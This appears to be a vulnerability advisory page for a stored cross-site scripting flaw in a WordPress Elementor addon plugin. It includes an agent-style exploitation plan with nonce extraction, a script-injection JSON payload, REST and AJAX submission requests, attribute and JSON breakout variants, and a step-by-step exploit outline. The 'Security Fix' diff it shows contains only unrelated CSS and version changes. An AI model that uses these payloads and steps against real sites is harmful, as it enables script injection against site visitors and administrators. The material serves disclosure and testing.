The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Navigation Menu Lite Widget
Description
The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to stored cross-site scripting via the `menu_hover_click` parameter of the Navigation Menu Lite widget in all versions up to, and including, 6.4.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.4.11What Changed in the Fix
Changes introduced in v6.4.12
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** (Navigation Menu Lite widget). The vulnerability allows a Contributor-level user to inject malicious scripts into the `menu_hover_click` parameter, which is then rendered without suffici…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (Navigation Menu Lite widget). The vulnerability allows a Contributor-level user to inject malicious scripts into the menu_hover_click parameter, which is then rendered without sufficient sanitization.
1. Vulnerability Summary
- Vulnerability ID: CVE-2026-5243
- Vulnerability Type: Stored Cross-Site Scripting (XSS)
- Affected Widget: Navigation Menu Lite (
tp_navigation_menu_lite) - Vulnerable Parameter:
menu_hover_click - Sink: The value of this parameter is echoed onto the page during the widget's render process (likely within a HTML attribute or a JavaScript configuration object) without proper escaping via
esc_attr(),esc_js(), orwp_kses().
2. Attack Vector Analysis
- Endpoint: WordPress REST API or Elementor AJAX API.
- Action:
save_builder_data(Elementor core action used to save widget settings). - Payload Parameter:
_elementor_data(A JSON-encoded string representing the page content). - Required Authentication: Contributor or higher. Contributors can edit their own posts and use Elementor to add/configure widgets.
- Preconditions: The "Navigation Menu Lite" widget must be enabled in the TPAE settings (it is enabled by default in
tpae_db_default()inclass-tpae-hooks.php).
3. Code Flow
- Storage: A Contributor user edits a post with Elementor. When they save the page, Elementor sends a request (usually via the REST API) containing a JSON blob in
_elementor_data. - Meta Update: WordPress/Elementor saves this JSON into the
_elementor_datapost meta field for that post. - Rendering: When a user (e.g., an Admin) views the post:
- Elementor's frontend renderer iterates through the widgets.
- The
tp_navigation_menu_litewidget'srender()method is called. - The method retrieves the
menu_hover_clicksetting from the stored JSON. - The value is printed directly to the HTML output to control menu behavior (hover vs. click).
- Execution: The unescaped payload executes in the victim's browser.
4. Nonce Acquisition Strategy
Elementor uses the standard WordPress REST API nonce (_wpnonce) or the Elementor-specific config nonce.
- Identify Shortcode: The Navigation Menu Lite widget is rendered via Elementor. No specific shortcode is needed, but we must ensure the widget is loaded in the editor.
- Create Page: Use
wp-clito create an empty post for the Contributor.wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title="XSS Test" - Extract Nonce: Navigate to the Elementor Editor page for that post.
- URL:
/wp-admin/post.php?post=POST_ID&action=elementor - Tool:
browser_eval - Variable: Elementor stores its configuration in
window.elementorConfig. - JS Command:
browser_eval("window.elementorConfig?.api?.nonce")orbrowser_eval("window.elementorConfig?.nonces?.save_builder").
- URL:
5. Exploitation Strategy
We will use the REST API to update the post's Elementor data directly.
Step 1: Craft the Payload
The payload must be embedded inside the JSON structure Elementor uses. The widget slug is tp_navigation_menu_lite.
[
{
"id": "random_id",
"elType": "section",
"elements": [
{
"id": "random_id_2",
"elType": "column",
"elements": [
{
"id": "random_id_3",
"elType": "widget",
"widgetType": "tp_navigation_menu_lite",
"settings": {
"menu_hover_click": "\"><script>alert(document.domain)</script>"
}
}
]
}
]
}
]
Step 2: Submit the Update
- Method:
POST - URL:
/wp-json/wp/v2/posts/POST_ID - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "meta": { "_elementor_data": "[JSON_PAYLOAD_FROM_STEP_1]", "_elementor_edit_mode": "builder" } }
Step 3: Trigger the XSS
Navigate to the post's frontend URL (or the preview URL if it's a draft).
- URL:
/?p=POST_ID&preview=true
6. Test Data Setup
- Plugin Setup: Ensure "The Plus Addons for Elementor" is active.
- User Setup: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Widget Check: Verify
tp_navigation_menu_liteis in the enabled list. Inclass-tpae-hooks.php, it is part of thetpae_db_defaultarray.
7. Expected Results
- The REST API request should return
200 OK. - When viewing the post, the HTML source should contain:
... menu_hover_click=""><script>alert(document.domain)</script>" ... - An alert box should appear in the browser.
8. Verification Steps
After the exploitation attempt, use wp-cli to verify the state:
- Check Meta: Confirm the payload was successfully stored.
wp post meta get POST_ID _elementor_data - Check Output: Use
http_requestto fetch the page and grep for the script tag.# (Metaphorical grep via the agent logic) # Search for "<script>alert(document.domain)</script>" in the response body.
9. Alternative Approaches
- Attribute Breakout: If the
menu_hover_clickvalue is used inside adata-attribute or a class name, try:click" onmouseover="alert(1)" data-ignore=". - JSON Breakout: If the value is inside a script tag within a JSON object:
"; alert(1); //. - Elementor AJAX: If the REST API is restricted, use the
elementor_ajaxaction viaadmin-ajax.php.- Action:
elementor_ajax - Data:
actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"draft","elements":[...]}}} - Nonce:
_noncefromelementorConfig.
- Action:
Summary
The Navigation Menu Lite widget in The Plus Addons for Elementor is vulnerable to Stored Cross-Site Scripting via the 'menu_hover_click' parameter due to insufficient input sanitization and output escaping. This allows authenticated attackers with contributor-level permissions to inject arbitrary web scripts that execute whenever a user views the affected page.
Security Fix
@@ -332,9 +332,9 @@ .tp-update-popup{position:fixed;top:0;left:0;width:100%;height:100%;background:rgb(0 0 0 / 33%);backdrop-filter:blur(4px);display:flex;justify-content:center;align-items:center;z-index:99999;visibility:visible;opacity:1;transition:all 0.3s ease}.tp-update-popup-inner{position:relative;width:70%;max-width:900px;background:#fff;border-radius:10px;padding:30px 20px 20px 20px;display:flex;flex-direction:column;aspect-ratio:16 / 9;box-shadow:0 10px 25px rgb(0 0 0 / .2)}.tp-update-popup-inner>.theplus-i-cross{position:absolute;font-weight:700;color:#000;right:2%;top:3%;cursor:pointer}.tp-popup-header{display:flex;justify-content:center;align-items:center;margin-bottom:25px;position:relative}.tp-popup-header h2{margin:0;font-size:20px}#tp-popup-close{cursor:pointer;font-size:24px;font-weight:700;color:#444}.tp-popup-body>iframe{border-radius:10px} /** Global Controller tp-logo css*/ -.elementor-panel-menu-item-tp-global-gradient-color,.elementor-panel-menu-item-tp-box-shadow-global,.elementor-panel-menu-item-tp-global-dimensions,.elementor-panel-menu-item-tp-global-button-styles{position: relative;} +.elementor-panel-menu-item-tp-global-gradient-color,.elementor-panel-menu-item-tp-box-shadow-global,.elementor-panel-menu-item-tp-global-dimensions,.elementor-panel-menu-item-tp-global-button-styles,.elementor-panel-menu-item-tp-global-scroll-animation{position: relative;} -.elementor-panel-menu-item-tp-global-gradient-color:before,.elementor-panel-menu-item-tp-box-shadow-global:before,.elementor-panel-menu-item-tp-global-dimensions:before,.elementor-panel-menu-item-tp-global-button-styles:before{ +.elementor-panel-menu-item-tp-global-gradient-color:before,.elementor-panel-menu-item-tp-box-shadow-global:before,.elementor-panel-menu-item-tp-global-dimensions:before,.elementor-panel-menu-item-tp-global-button-styles:before,.elementor-panel-menu-item-tp-global-scroll-animation:before{ content: ""; position: absolute; height: 23px; @@ -347,4 +347,4 @@ z-index: 1; border-radius: 15%; display: flex; -} \ No newline at end of file +} @@ -1 +1 @@ -<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '3d8234a2df6ad4c7411e'); \ No newline at end of file +<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => 'e04436b9d03806958c94'); \ No newline at end of file ... (truncated)
Exploit Outline
1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Create or edit a post using the Elementor page builder. 3. Add the 'Navigation Menu Lite' widget (slug: tp_navigation_menu_lite) to the page layout. 4. In the widget's settings, locate the 'menu_hover_click' parameter and enter a malicious script payload (e.g., "><script>alert(document.domain)</script>"). 5. Save the page via Elementor's standard saving mechanism, which stores the payload within the post's '_elementor_data' metadata field. 6. Navigate to the published post's URL; the stored script will execute in the browser of any user (including administrators) who views the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.